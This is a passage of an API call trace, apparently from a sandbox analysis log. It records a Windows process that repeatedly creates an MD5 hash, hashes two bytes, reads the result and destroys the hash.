	[0068.055] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.055] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.055] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.055] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.055] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.055] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.055] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.055] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.055] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.055] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.056] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.056] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.056] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.056] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.056] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.056] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.056] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.056] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.056] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.056] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.056] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.056] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.056] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.057] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.057] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.057] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.057] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.057] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.058] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.058] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.058] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.058] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.058] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.058] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.058] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.058] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.058] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.058] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.058] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.058] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.058] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.058] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.058] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.058] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.059] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.059] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.059] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.059] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.059] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.059] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.059] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.059] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.059] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.059] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.059] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.059] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.060] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.060] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.060] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.060] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.060] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.060] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.060] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.060] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.060] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.060] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.060] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.060] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.061] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.061] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.061] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.061] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.061] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.061] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.061] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.061] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.061] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.061] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.061] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.061] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.061] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.061] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.061] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.062] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.062] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.062] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.062] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.062] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.062] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.062] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.062] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.062] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.062] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.062] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.062] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.062] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.063] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.063] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.063] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.063] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.063] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.063] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.063] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.063] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.063] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.063] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.063] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.063] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.064] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.064] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.064] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.064] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.064] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.064] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.064] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.064] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.064] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.064] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.064] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.064] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.064] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.064] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.065] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.065] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.065] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.065] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.065] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.065] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.065] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.065] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.065] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.065] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.065] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.065] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.065] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.065] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.065] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.066] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.066] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.066] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.066] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.066] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.066] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.066] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.066] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.066] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.066] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.066] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.066] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.066] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.067] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.067] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.067] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.067] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.067] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.067] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.067] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.067] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.067] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.067] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.067] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.067] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.067] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.068] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.068] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.068] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.068] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.068] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.068] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.068] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.068] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.068] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.068] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.068] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.068] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.068] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.068] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.069] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.069] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.069] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.069] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.069] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.069] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.069] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.069] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.069] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.069] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.069] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.069] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.069] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.070] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.070] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.070] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.070] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.070] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.070] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.070] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.070] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.070] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.070] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.070] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.070] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.070] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.071] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.071] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.071] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.071] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.071] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.071] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.071] CryptDestroyHash (hHash=0x39d8c0) returned 1
